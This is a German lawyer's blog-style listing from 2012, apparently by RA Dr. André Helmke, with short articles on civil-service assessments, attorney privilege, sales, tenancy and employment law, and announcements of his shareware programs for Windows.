Weiß der Dienstherr beispielsweise, dass demnächst fünf A 10er-Stellen ausgeschrieben werden, so kann er über eine entsprechende Punkteverteilung dafür sorgen, dass nachfolgende Bedienstete keine Chance mehr haben. Die Gerichte haben eine solche Deckelungen leider für zulässig gehalten (siehe nur BVerwG, Urteil vom 24.11.2005 —2 C 34.04 = DÖV 2006, 345 = IÖD 2006, 112). Zunächst möchte ich jedem Beamten empfehlen, sich im Vorfeld einer Stellenausschreibung um eine wirklich gute Beurteilung (innerhalb seiner Vergleichsgruppe) zu kümmern! Sollte sich darüber hinaus die Handhabung der Beurteilungsquotenrichtlinie in der Praxis - wie im obigen Beispiel dargestellt - als Instrument zur Aushöhlung der Rechtsschutzgarantie gem. Art. 19 Abs. 4 GG zeigen, besteht noch die Möglichkeit, nach erfolglosem Abschluss des einstweiligen Verfügungsverfahren eine Verfassungsbeschwerde zu erheben. Spätestens im parallel laufenden Hauptsacheverfahren müssten sich dann auch Vorgesetzte als Zeugen u. a. dazu erklären, wie es zu dem Abstand zwischen Platz 5 und 6 der Rangliste gekommen ist. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Berufsgeheimnisträgerschutz: § 160a StPO | 0 | 19.04.2012 - 11:35:03 | 19.04.2012 - 11:35:03 |
Seit dem 1. Februar 2011 sind Anwälte gem. § 160a StPO absolut vor strafprozessualen verdeckten Ermittlungsmaßnahmen geschützt. Gemäß § 160a Abs. 1 Satz 1 StPO ist eine Ermittlungsmaßnahme, die sich gegen eine in § 53 Absatz 1 Satz 1 Nummer 1, 2 oder Nummer 4 genannte Person, einen Rechtsanwalt, eine nach § 206 der Bundesrechtsanwaltsordnung in eine Rechtsanwaltskammer aufgenommene Person oder einen Kammerrechtsbeistand richtet und voraussichtlich Erkenntnisse erbringen würde, über die diese das Zeugnis verweigern dürfte, unzulässig. Das Bundesverfassungsgericht hat diesen Berufsgeheimnisträgerschutz in einem Beschluss vom 12. Oktober 2011, Az. 2 BvR 236/08, 237/08 und 422/08, bestätigt. Eine Ausdehnung auf Journalisten oder Steuerberater hielt das Gericht allerdings nicht für geboten. In diesem Zusammenhang möchte ich noch auf ein Urteil des Bundesgerichtshofes vom 16. Februar 2011, Az. IV ZB 23/09, hinweisen. In diesem Urteil bestätigte der BGH noch einmal die Pflicht des Rechtsanwaltes zur Zeugnisverweigerung auch bei Zufallswissen. Unter die Verschwiegenheitspflicht gemäß § 43a Abs. 2 BRAO fällt nach dem Bundesgerichtshof alles, was dem Rechtsanwalt in Ausübung seines Berufs bekannt geworden ist, ohne dass es darauf ankommt, von wem und auf welche Weise er sein Wissen erworben hat. Die Pflicht betrifft deshalb auch Zufallswissen, das im Rahmen beruflicher Tätigkeit erlangt worden ist. Abzugrenzen hiervon ist, was dem Anwalt nur anlässlich seiner beruflichen Tätigkeit zur Kenntnis kommt, ohne dass ein innerer Zusammenhang mit dem Mandat besteht, wie es z. B. bei solchem Wissen der Fall ist, das der Rechtsanwalt als wartender Zuhörer einer Gerichtsverhandlung erwirbt, die mit seinem Mandat nichts zu tun hat (BGH a.a.O.). In dem konkreten Fall hatte der Anwalt als Strafverteidiger seines Mandanten Gespräche unter den Angehörigen auf dem Gerichtsflur mitgehört. In einem späteren Zivilprozess sollte er dann als Zeuge aussagen. Das verweigerte er nach dem Urteil des Bundesgerichtshofs zu Recht. Ohne eine Entbindung von der Pflicht zur Verschwiegenheit durch den Mandanten hat der Anwalt zu schweigen. Der Mandant ist "Herr des Geheimnisses" bezüglich mandatsbezogener Tatsachen auch dann, wenn sie dem Anwalt von Dritten mitgeteilt worden sind (BGH a. a. O. m. w. N.). Schließlich sprechen diese Urteile auch den wichtigen Aspekt der unabhängigen Rechtsberatung an. Viele so genannte Rechtsberater im Rahmen des Rechtsdienstleistungsgesetzes können ohne Berufsgeheimnisträgerschutz jederzeit als Zeugen vernommen werden. Mit einem Rechtsanwalt sind Sie eben doch auf der "sichereren" Seite. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Kaufvertrag: Anspruch auf Nacherfüllung? | 0 | 24.02.2012 - 16:39:49 | 24.02.2012 - 16:39:49 |
Am 24.02.2012 wurde die erste Version des Kontextbaumes "KVKNach" (Kaufvertrag: Anspruch des Käufers auf Nacherfüllung?) in Justitia21 aufgenommen. Mit dem Kontextbaum "KVKNach" (Kaufvertrag: Anspruch des Käufers auf Nacherfüllung?) können Sie interaktiv und denklogisch prüfen, ob die wesentlichen, praxisrelevanten Voraussetzungen vorliegen, inwieweit der Käufer gegenüber dem Verkäufer einen Anspruch auf eine sogenannte Nacher- füllung hat. Der Nacherfüllungsanspruch des Käufers ist grundsätzlich das zentrale Gewährleistungsrecht des Käufers, bevor er weiter- gehende Ansprüche geltend machen kann. Der Käufer muss grundsätzlich also zunächst Nacherfüllung verlangen. Dabei kann er vom Verkäufer nach seiner Wahl die kostenlose Beseitigung des Mangels (Nachbesserung) oder die Lieferung einer mangelfreien Sache (Nachlieferung) verlangen. Unter bestimmten Voraussetzungen kann jedoch der Verkäufer die eine oder andere Art der Nacherfüllung verweigern. Nicht zu verwechseln ist dieses Recht auf Nacherfüllung als eines der Gewährleistungsrechte mit einer "Garantie". Diese ist vom Gesetz nicht vorgeschrieben, sondern wird in der Regel lediglich vom Hersteller freiwillig eingeräumt. Geltend machen kann sie ein Käufer deshalb normalerweise auch nicht gegenüber dem Händler (Verkäufer), sondern nur beim Produzenten. Dieser Kontextbaum prüft einen Anspruch des Käufers gegenüber dem Verkäufer auf "Nacherfüllung". Garantieansprüche bleiben hiervon unberührt. Nur selten verspricht der Verkäufer selbst dem Käufer eine Garantie. Dieser Fall wird im neuen § 443 BGB geregelt, der dem Käufer zusätzliche Rechte einräumt. Sollte der Käufer einen solchen Nacherfüllungsanspruch gegenüber dem Verkäufer durchsetzen können, rechnet der Verkäufer in der Praxis häufig intern mit dem Produzenten ab, soweit der Mangelfall unter die vereinbarten Garan- tiebestimmungen (z. B. beim Autokauf) fällt. Nicht näher eingegangen wird in diesem Kontextbaum auf die Bestimmungen des CISG (Convention on Contracts for the International Sale of Goods, auch UN-Kaufrecht genannt). Wählen beide Vertragspartner im Rahmen eines internationalen Warenkaufs das deutsche Recht, so gilt grundsätzlich das CISG (auch UN-Kaufrecht oder Wiener Kaufrecht genannt) als nationales deutsches Recht (siehe nur BGH, NJW 1999, 1259). Etwaige Ansprüche ergäben sich in einem solchen Fall dann direkt aus dem CISG. Die zu prüfenden Ausgangsfälle könnten wie folgt lauten: 1. Fall: Gebrauchtwagenkauf oder Neuwagenkauf Der Kauf eines Automobils bedeutet für die meisten Bürger eine erhebliche Vermögensentscheidung. Technische Mängel am Neu- oder Gebrauchtwagen können nicht nur die Freude am neu erstandenen Fahrzeug schnell trüben, sondern auch zu unvor- hergesehenen Mehrkosten, Wertverlusten und entsprechenden Rechtsstreitigkeiten führen. Ein typischer Fall ist der Gebrauchtwagenkauf z. B. in Test- hausen. Der Händler H bietet dort einen Wagen zum Preis in Höhe von 8.000 EUR an. Der Käufer K verhandelt mit dem H, wobei sie sich schließlich auf einen Preis in Höhe von 7.500 EUR einigen. Am nächsten Tag stellt der K am Wagen eine Unregelmäßigkeit am rechten Kotflügel fest. Eine Untersuchung in einer Werk- statt ergab, dass der PKW in einen Verkehrsunfall verwickelt war. Die korrekte Beseitigung der Unfallspuren würde 1.000 EUR kosten. Im Kaufvertrag zwischen H und K ist vermerkt worden: "unfallfrei" Auf Nachfrage bezieht sich der H auf den im Kaufvertrag vereinbarten Gewährleistungsausschluss und lehnt jegliche Ansprüche des K ab. Kann der K von dem H die Beseitigung der Unfallspuren verlangen? 2. Fall: Motorradkauf über ebay Bei der Suche im Internet findet K bei ebay ein interes- santes Motorrad, welches V zum Verkauf an den Höchstbie- tenden anbietet. V setzt keinen Mindestpreis fest und lässt Bieterstufen in Höhe von 10 Euro zu. Am Ende der Auktion beträgt das höchste Gebot des K 5.000 Euro, während der Listenpreis des Motorrades 10.000 Euro beträgt. V liefert K zähneknirrschend das Motorrad. Als K dann einen Motordefekt am Motorrad feststellt und von K Lieferung eines mangelfreien Motorrades verlangt, weigert sich V. Er meint, für einen Nachlieferungsanspruch fehlt es bereits an einem wirksamen Kaufvertrag. Er habe das Angebot des K auf ebay nicht zu dem damaligen Preis angenommen. Kann der K von dem V die Lieferung eines gleichwertigen mangelfreien Motorrades verlangen? 3. Fall: Die teure Armbanduhr K kauft im Kaufhaus V eine teure Armbanduhr zum Angebots- preis von 199,-- EUR. Bereits nach einem Monat zeigt sich ein Defekt. Als K die Uhr bei V reklamiert, werden jegliche Gewährleistungsansprüche abgelehnt, da bei Angeboten nach den Allgemeinen Geschäftsbedingungen des V die Gewähr- leistung ausgeschlossen ist. Kann der K von V die Reparatur der Armbanduhr verlangen? http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Mietvertrag: ord. Kündigung wirksam? | 0 | 24.02.2012 - 16:34:25 | 24.02.2012 - 16:34:25 |
Am 24.02.2012 wurde die erste Version des Kontextbaumes "MVKord" (Mietvertrag: Ist die ordentliche Kündigung wirksam?) in Justitia21 aufgenommen. Mit dem Kontextbaum "MVKord" (Mietvertrag: Ist die ordentliche Kündigung wirksam?) können Sie interaktiv und denklogisch prüfen, ob die wesentlichen Voraussetzungen für eine ordentliche (fristgemäße) Kündigung des Wohnraummiet- verhältnisses durch den Vermieter vorliegen. Mietverhältnisse, die nicht auf eine bestimmte Zeit befris- tet sind, enden, wenn sie durch den Mieter oder Vermieter wirksam gekündigt worden sind. Der vorliegende Kontextbaum soll Ihnen die für die Praxis wesentlichen Grundvoraus- setzungen für eine ordentliche Kündigung des unbefristeten Mietvertrages durch den Vermieter nahebringen. Selbstverständlich kann Justitia21 die individuelle Rechts- beratung im Einzelfall nicht ersetzen. Ich hoffe aber, dass dieses Programm dazu beiträgt, Bürger mit ihren Rechten und Pflichten besser vertraut zu machen und dadurch in dem einen oder anderen Fall einen Streit von vornherein zu verhindern. Außerdem gibt es keine Probleme, wenn ein Mietverhältnis beendet werden soll und sich Vermieter und Mieter darüber einig sind. Allerdings sind bei der Aufhebung von Miet- verhältnissen zum Teil besondere Vorschriften zu beach- ten. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Arbeitsvertrag: ord. Kündigung wirksam? | 0 | 24.02.2012 - 16:32:47 | 24.02.2012 - 16:32:47 |
Am 24.02.2012 wurde die erste Version des Kontextbaumes "AVKord" (Arbeitsvertrag: Ist die ordentliche Kündigung wirksam?)in Justitia21 aufgenommen. Mit dem Kontextbaum "AVKord" (Arbeitsvertrag: Ist die ordentliche Kündigung wirksam?) können Sie interaktiv und denklogisch prüfen, ob die wesentlichen Voraussetzungen für eine ordentliche (fristgemäße) Kündigung des Arbeitsverhältnisses durch den Arbeitgeber vorliegen. Da das Arbeitsverhältnis sowohl für den Arbeitgeber als auch für den Arbeitnehmer von besonderer Bedeutung ist, hat der Gesetzgeber eine Reihe von Voraussetzungen geschaffen, die für eine wirksame ordentliche Kündigung erfüllt sein müssen. Beachten Sie bitte, dass mit diesem Kontextbaum nur unbe- fristete Arbeitsverhältnisse geprüft werden können. Befris- tete Arbeitsverhältnisse werden auf eine bestimmte Zeit ge- schlossen und können im Regelfall nur aus wichtigem Grund gekündigt werden. Ein befristetes Arbeitsverhältnis endet in der Regel mit Ablauf der Zeit, für die es eingegangen ist. Es unterliegt gem. § 15 Absatz 3 Teilzeit- und Befristungs- gesetz (TzBfG) nur dann der ordentlichen Kündigung, wenn dies einzelvertraglich oder im anwendbaren Tarifvertrag vereinbart worden ist. Ebenso enthält dieser Kontextbaum keine Ausführungen zu den Besonderheiten in einem Insolvenzverfahren und bei Massen- entlassungen. Bei Massenentlassungen ist gemäß § 17 Abs. 1 KSchG der Ar- beitgeber verpflichtet, der Agentur für Arbeit Anzeige zu erstatten, bevor er 1. in Betrieben mit in der Regel mehr als 20 und weniger als 60 Arbeitnehmern mehr als fünf Arbeitnehmer, 2. in Betrieben mit in der Regel mindestens 60 und weni- ger als 500 Arbeitnehmern 10 % der im Betrieb regel- mäßig beschäftigten Arbeitnehmer oder aber mehr als 25 Arbeitnehmer, 3. in Betrieben mit in der Regel mindestens 500 Arbeit- nehmern mindestens 30 Arbeitnehmer innerhalb von 30 Kalendertagen entlässt. Den Entlassungen stehen andere Beendigungen des Arbeitsverhältnisses gleich, die vom Arbeitgeber veranlasst werden. Unterbleibt die Massenentlassungsanzeige oder ist sie rechtsunwirksam, weil eine zwingende Voraussetzung fehlt, ist die Kündigung nach einem Urteil des Europäischen Gerichtshofes (Urteil vom 27.01.2005 in der Rechtssache "Junk", NJW 2005, 1099 = NZA 2005, 213) unwirksam. Bei fehlender oder fehlerhafter Massenentlassungsanzeige nach §§ 17, 18 KSchG ist nur die Entlassung des betreffenden Arbeitnehmers unzulässig. Die Unwirksamkeit der Entlassung wirkt sich auf das Arbeitsverhältnis der jeweiligen Arbeit- nehmer lediglich dann aus, wenn sich der Arbeitnehmer auf die Unwirksamkeit auch beruft. II. Klagefrist Beachten Sie bitte, dass die Sozialwidrigkeit einer Kündi- gung gem. § 1 KSchG i. V. m. § 4 Abs. 1 KSchG innerhalb von 3 Wochen nach Zugang durch Kündigungsschutzklage vor dem Arbeitsgericht geltend gemacht werden muss. Für die Wahrung der Klagefrist ist also der Tag maßgebend, an dem die Kün- digung i. S. v. § 130 BGB zugegangen ist. III. Wichtige Obliegenheiten 1. Für Arbeitnehmer Beachten Sie als Arbeitnehmer unbedingt, dass Sie sich nach Erhalt einer Kündigung oder Unterzeichnung eines Aufhebungs- vertrages unverzüglich beim Arbeitsamt arbeitssuchend melden müssen. Bei einem befristeten Arbeitsverhältnis sind Sie verpflich- tet, sich sich bereits 3 Monate vor dessen Beendigung ar- beitssuchend zu melden. Anderenfalls müssen Sie mit der Minderung Ihres Arbeits- losengeldes rechnen. 2. Für Arbeitgeber Arbeitgeber haben Arbeitnehmer auf die Obliegenheiten zu 1. hinzuweisen. Allerdings haben Arbeitnehmer jedoch keinen Schadensersatz- anspruch wegen unterlassenen Hinweises des Arbeitgebers an den Arbeitnehmer über dessen Pflicht zur unverzüglichen Meldung als Arbeitssuchender. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Kündigungsschutz nach dem KSchG? | 0 | 24.02.2012 - 16:29:28 | 24.02.2012 - 16:29:28 |
Am 24.02.2012 wurde die erste Version des Unterkontextbaumes "KSchG" (Arbeitsvertrag: Besteht Kündigungsschutz nach dem KSchG?) in Justitia21 aufgenommen. Mit dem Unterkontextbaum "KSchG" (Arbeitsvertrag: Besteht Kündigungsschutz nach dem KSchG?) können Sie interaktiv und denklogisch prüfen, ob praxisrelevanter Kündigungsschutz nach dem Kündigungsschutzgesetz besteht. Da das Arbeitsverhältnis sowohl für den Arbeitgeber als auch für den Arbeitnehmer von besonderer Bedeutung ist, sorgt das Kündigungsschutzgesetz unter bestimmten Voraussetzungen für einen besseren Schutz des Arbeitnehmers in "größeren" Be- trieben. Beachten Sie bitte, dass dieser Unterkontextbaum grundsätz- lich nicht allein geprüft werden sollte. Er dient als Kon- kretisierung einer Frage in einem Hauptkontextbaum. Beispielsweise kann dieser Unterkontextbaum im Rahmen der Prüfung des Kontextbaumes "AVKord" (Arbeitsvertrag: Ist die ordentliche Kündigung wirksam?) konsultiert werden. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | AH-Unitex für Windows 32-Bit | 0 | 23.02.2012 - 16:54:50 | 23.02.2012 - 16:54:50 |
Ab sofort kann die Sharewareversion 5.01 von AH-Unitex für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Das Wissen der Menschheit vermehrt sich explosionsartig. Informatiker schätzen, dass es sich alle fünf Jahre verdoppelt. Um mit dieser Entwicklung Schritt halten zu können, wurde AH-Unitex entwickelt. Es eignet sich besonders für Anwender(-innen), die größere Mengen an Informationen verarbeiten müssen und dabei eine ständige und einfache Zugriffsmöglichkeit bestehen muss. AH-Unitex erfasst Texte, speichert sie und ermöglicht mit Hilfe von Suchabfragen den strukturierten Zugriff. Ihnen stehen 4 indizierte Schnellsuchfelder, max. bis zu 13 frei definierbare Datenfelder mit einem zusätzlichen Volltextbereich (bis zu 64 KB) pro Datensatz zur Verfügung. In dieser Kombination bietet Ihnen AH-Unitex ungeahnte Möglichkeiten ... Erstellen Sie Ihre eigenen Eingabemasken oder besser noch speichern Sie Informationen nach Ihren Vorstellungen. AH-Unitex recherchiert alles. Auch die Verarbeitung von Datums- und nummerischen Werten wurde realisiert (Stichwörter: "Terminkalender", "Wiedervorlagen", usw.). Durch die vielseitigen Schalterstellungen ist mit AH-Unitex auch eine Trunkationsrecherche möglich, das heißt, dass auch die Suche nach Teilbegriffen erfolgen kann. Erlaubt ist die Suche nach Wortteilen am Anfang, am Ende oder in der Mitte eines Wortes; u. v. m. ... Viele Informationen für meine tägliche Praxis werden von mir mit mit AH-Unitex schon seit 1985 verwaltet. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Trainer für Windows 32-Bit | 0 | 23.02.2012 - 16:52:53 | 23.02.2012 - 16:52:53 |
Ab sofort kann die Sharewareversion 6.01 von AH-Trainer für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Im Rahmen der EG bleibt es nicht aus, sich mit mindestens einer Fremdsprache zu beschäftigen. "AH-TRAINER" soll Sie dabei ein wenig unterstützen. Sie können dieses Programm nicht nur als Fremdsprachen-Trainer nutzen, sondern darüber hinaus auch in den Bereichen des Fachwissens, der Rechtschreibung, der Mathematik (für einfache Aufgaben) etc. einsetzen. Durch die Änderbarkeit der Feldbezeichnungen können Sie verschiedene Trainingsbereiche konfigurieren. Ferner stehen Ihnen acht Lernfunktionen zur Verfügung. Ab der Lernfunktion 3.1. werden die Daten mittels eines Zufallsgenerators solange abgefragt, bis die dritte Lerntiefe erreicht wurde. "AH-TRAINER" stellt sich dabei automatisch auf den "aktuellen Wissensstand" des Anwenders ein ("Karteikartenprinzip"). Falsche Eingaben werden unverzüglich berichtigt angezeigt. Bei AH-Trainer handelt es sich um mein erstes selbst entwickeltes Programm. Es enthält daher leider noch keine eigene Druckerverwaltung. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Lösung-Shell für Windows 32-Bit | 0 | 23.02.2012 - 16:51:41 | 23.02.2012 - 16:51:41 |
Ab sofort kann die Sharewareversion 2.01 von AH-Lösung-Shell für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Mit AH-Lösung-Shell kann die fertige Wissensbasis dem Anwender zur Verfügung gestellt werden. Auf Anfrage kann eine gewerbliche, kommerzielle Nutzungs- und Weiterveräußerungslizenzen erworben werden. Mit einer Weiterveräußerungslizenz - auf Anfrage - erhält der Autor zudem das Recht, eigene Produkte auf den Markt zu bringen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Lösung-Script für Windows 32-Bit | 0 | 23.02.2012 - 16:50:22 | 23.02.2012 - 16:50:22 |
Ab sofort kann die Sharewareversion 3.01 von AH-Lösung-Script für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Nach der Entwicklung des Programmes "Festnahme 2000" (jetzt AH-Festnahme in einer überarbeiteten Version) in der Zeit von 1989 bis 1992 und wenig später des Programmes "Lösung 2000" (jetzt AH-Lösung) stellte ich mich der Herausforderung, wie die Informationen in das Programm AH-Lösung, AH-Lösung-Shell oder AH-Lösung-Web (Justitia21) auf einfache und komfortable Art und Weise eingebracht werden können. Die Idee Wissen zu strukturieren ist nicht neu, aber eine Lösung zu finden, das strukturierte Wissen auf eine einfache und komfortable Art und Weise in eine Wissensbasis zu bekommen, dürfte mit AH-Lösung-Script erstmalig gelungen sein. Im Handbuch von ehemals "Lösung 2000" habe ich keinen Hehl daraus gemacht, dass dies mit - jetzt - AH-Lösung allein für den Autoren "ein gehöriges Stück Arbeit" bedeuten kann. Was das Fachwissen betrifft, wird sich dies kaum ändern. Jedoch werden Sie mit dem AH-Lösung-Script-Interpreter Laura eine erhebliche Erleichterung erfahren. Die Informationen müssen nämlich mit diesem Programm nicht mehr direkt in AH-Lösung (bzw. AH-Lösung-Shell) eingegeben werden, sondern können mit einer beliebigen Textverarbeitungssoftware aufbereitet werden. Nachdem die Laura-Script-Befehle in die Texte eingefügt worden sind, muss der Text lediglich nur noch als ASCII-Datei (Textdatei ohne Steuercodes) abgespeichert werden. Nach Aufruf des AH-Lösung-Script-Interpreters Laura werden die Textinformationen automatisch in einen Kontextbaum (bzw. in mehrere Kontextbäume) für AH-Lösung generiert und in den Pfad von AH-Lösung kopiert. Zeitgleich wird eine sog. Scriptliste erstellt, in der eine gewünschte Beschreibung der Kontextbäume aufgenommen werden kann. Mit dieser Scriptliste wird das Laden eines Kontextbaumes in AH-Lösung vereinfacht. Auch größere Projekte können mit AH-Lösung-Script erstellt werden. Dazu können nach der Installation von AH-Lösung-Script Unterverzeichnisse erstellt werden. Mit dem Parameter "/S" prüft AH-Lösung-Script, ob in den Unterverzeichnissen Laura-Script-Dateien vorhanden sind und verarbeitet sämtliche gewünschte Dateien in den vorhandenen Unterverzeichnissen zu Kontextbäumen. Das Programm "AH-LÖSUNG-SCRIPT" dient demnach als Werkzeug, mit dem sich der Autor selbst mit nur wenigen Befehlen und einer Textverarbeitungssoftware schnell und bequem ein Expertensystem aufbauen kann. Der besondere Vorteil von AH-Lösung-Script liegt in der späteren Wartung von bereits erstellten Kontextbäumen. Betrachtet man beispielsweise die augenblickliche Gesetzesflut, so können Kontextbäume mit AH-Lösung-Script auf einfache und komfortable Art und Weise geändert werden, indem die Texte und Befehle mit der Textverarbeitungssoftware angepasst werden. Nach dem Start von AH-Lösung-Script liegen innerhalb von Sekunden bis Minuten die neuen und aktuellen Kontextbäume für AH-Lösung und/oder AH-Lösung-Shell und/oder AH-Lösung-Web vor. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Lösung für Windows 32-Bit | 0 | 23.02.2012 - 16:48:10 | 23.02.2012 - 16:48:10 |
Ab sofort kann die Sharewareversion 4.01 von AH-Lösung für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Nach dem heutigen Stand der Wissenschaft kann der PC zwar schon sehr viele Sinnesorgane des Menschen simulieren, in manchem ist der Mensch dem PC jedoch weit voraus. Dies spiegelte sich auch bei der Entwicklung von sog. Expertensystemen wider (manche sprechen auch von der Künstlichen Intelligenz oder von Konsultationssystemen). Da die Wissenschaft es bis heute noch nicht geschafft hat, sämtliche Funktionen des menschlichen Gehirns abschließend zu erforschen, führte es dazu, dass viele Expertensysteme in den letzten Jahren sehr schnell vom Markt genommen worden sind. Meiner Ansicht nach ist es jedoch nicht notwendig, das menschliche Gehirn abschließend zu beherrschen. Wichtig ist für uns, dass der Computer eine unterstützende Funktion übernimmt, und dass diese vom Benutzer auch im Bedarfsfalle kontrolliert werden kann. Nur so wird ein Vertrauensverhältnis aufgebaut, welches zu einer routinierten und erfolgsversprechenden Benutzung führt. Diese Erkenntnisse führten mich zu der Entwicklung des Programmes "AH-LÖSUNG". Expertensysteme sind Programme, die das Wissen und die Erfahrung von Menschen bei der Lösung von Problemen eines bestimmten Fachgebietes simulieren sollen. Das Programm "AH-LÖSUNG" dient als Werkzeug, mit dem sich der Autor selbst, auch ohne spezielle Programmierkenntnisse, schnell und bequem ein Expertensystem aufbauen kann. In Form von Entscheidungsbaumstrukturen zerlegt der Autor komplexe Sachverhalte des jeweiligen Spezialgebietes in leicht verständliche Einzelfragen. Für die Nutzer wird die Handhabung dadurch intuitiv und sehr einfach. Ausgehend von einer bestimmten Problemstellung (z. B. "Warum springt der Wagen nicht an?" oder "Kann ich eine Person vorläufig festnehmen?") können die Nutzer von einer Frage zur nächsten geführt werden. Die Fragen sind mit "JA" oder "NEIN" zu beantworten. Das Ausgangsproblem wird solange in Fragen zerlegt, bis den Nutzern ein Ergebnis vorliegt. Ist die Frage komplexer und reicht der Hilfetext nicht aus, kann über die Funktionstaste bei der Beantwortung der Frage behilflich ist. Den Nutzern können zu jeder Frage Hilfetexte zur Verfügung gestellt werden. Konkrete Sachverhaltsdaten können die Nutzer in ein Bemerkungsfeld zu jeder Frage eingeben. Am Ende der Prüfung können Gutachten ausgedruckt werden, die den gegangenen Lösungsweg mit den Hilfetexten und Bemerkungen wiedergeben. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Festnahme für Windows 32-Bit | 0 | 23.02.2012 - 16:46:29 | 23.02.2012 - 16:46:29 |
Ab sofort kann die Sharewareversion 3.01 von AH-Festnahme für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. Mit AH-Festnahme können Sie die Zulässigkeitsvoraussetzungen von vorläufigen Festnahmen durch "jedermann", die Staatsanwaltschaft und den Polizeivollzugsdienst prüfen. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Faktura für Windows 32-Bit | 0 | 23.02.2012 - 16:44:45 | 23.02.2012 - 16:44:45 |
Ab sofort kann die Sharewareversion 10.01 von AH-Faktura für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. AH-Faktura-Highlights: - Eine sehr anwenderfreundliche Benutzeroberfläche ermöglicht schnellen, praktischen Einsatz ohne lange Einarbeitungszeiten. - Alle Rechnungen, Angebote, Gutschriften und Handakten werden komplett gespeichert. Sie stehen Ihnen jederzeit, incl. der Texte, zur Veränderung und Weiterbearbeitung zur Verfügung und können beliebig "kreuz und quer" in neue kopiert werden. - Blanko-Auftragsformulare, Auftragsbestätigungen, Auftragszettel und Lieferscheine sind natürlich auch integriert. - Die erstellten Rechnungsdaten können auch als Vertragsdaten mit einer bestimmten Laufzeit genutzt werden. Dabei kann der frühzeitige Ablauf des Vertrages abgefragt u. ggf. eine Vertragsverlängerung ausgedruckt werden. - Ihre Kunden können Ihnen bei der Rechnungserstellung ruhig über die Schulter sehen, da Sie alle "geheimen" Daten optional verstecken können. - Sollte ein Kunde mit der ständigen Speicherung seiner Daten nicht einverstanden sein (Datenschutz), können Sie ihn lediglich für einen Auftrag gespeichert lassen. Die Daten werden dann nicht in die Kundendatei kopiert. - Die Kundendatenbank kann zusätzlich auch als private Adress- und Telefondatei genutzt werden. - Eine Personaldatei speichert alle für Sie wichtigen Daten und erstellt auf Wunsch Personalbögen. - In der Artikel-Verwaltung werden Bestände mitgeführt, die Sie jederzeit angleichen oder aber ignorieren können. - Das Programm unterstützt Ihre Inventur- bzw. Inventaraufnahmen, indem Sie sich eine Auflistung sämtlicher Artikel mit Beständen und Summen auf die Netto-Einkaufspreise ausdrucken lassen können. - Zu jedem Artikel können Sie den Lieferanten festhalten. Lassen Sie sich auf Wunsch eine Bestellvorschlagsliste ausdrucken, auf der die betreffenden Artikel unter den Lieferanten aufgelistet werden. - Mit einer Handakten-Funktion können Ihre Akten verwaltet werden. - Ein komplettes Kassensystem für Barkassierungen ist mit der Lagerbestandsdatei gekoppelt. Eine Schwerpunktanalyse eines bestimmten Jahres auf drei Stunden genau pro Tag erleichtert Ihnen die Personalplanung ein "wenig". - Der Formulargenerator mit über 150 frei definierbaren Freitextfeldern gibt Ihnen die Chance, tolle Vordrucke, z. B. Faxmitteilungsbögen, nach Ihren eigenen Ideen kinderleicht (sogar in Farbe) zu erstellen. - Serienbriefe und Adressaufkleber können mit Hilfe eines "kleinen Expertensystems" selektiert werden. - Für jeden Kunden steht auf Knopfdruck eine Umsatzstatistik und eine Liste der offenen Posten zur Verfügung. - Um Ihr Fingerspitzengefühl zeigen zu können, bieten wir selbstverständlich ein manuelles Mahnwesens an. - Eine Jahresumsatzdatei zeigt Ihnen sämtliche erledigten Rechnungen und Gutschriften der Reihe nach an. - Eine Einnahmen- und Ausgabenfunktion unterstützt Sie bei der Erstellung der Einkommenssteuererklärung, der Umsatzsteuervoranmeldung und des Reingewinns. - Eine umfangreiche Druckerfunktion lässt den Anschluss verschiedener Drucker an unterschiedlichen Ports zu. Ferner können hiermit die Formate der Ausdrucke individuell angepasst werden. Bereits seit 10 Jahren verwalte ich meine Mandate mit AH-Faktura. http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | AH-Etiketten für Windows 32-Bit | 0 | 23.02.2012 - 16:41:44 | 23.02.2012 - 16:41:44 |
Ab sofort kann die Sharewareversion 4.01 von AH-Etiketten für Windows (32-Bit) auf meiner Homepage unter "Downloads" heruntergeladen werden. AH-Etiketten-Highlights: 1. Kinderleichte Benutzeroberfläche 2.15 Etikettengrößen mit einer jeweiligen Kapazität von bis zu einer Billion Etiketten 3. Zehn verschiedene Schriftarten und 4. sechs Farben können pro Zeile geschaltet werden 5. Etikettengrößenanzeige im Spalten/Zeilen- oder Milimeterformat 6. Pro Etikettendatei kann ein individueller Programmkopf und eine individuelle Zeilenbezeichnung vergeben werden 7. Jeder Etikettendatei können Sie einen eigenen Drucker zuweisen 8. 45 Druckertreiber - auch für Farbdrucker - werden mitgeliefert 9. Bereits eingegebene Etiketten können in andere Etikettendateien übernommen werden http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Bremerhaven-Krimis | 0 | 01.01.2012 - 12:21:26 | 01.01.2012 - 12:21:26 |
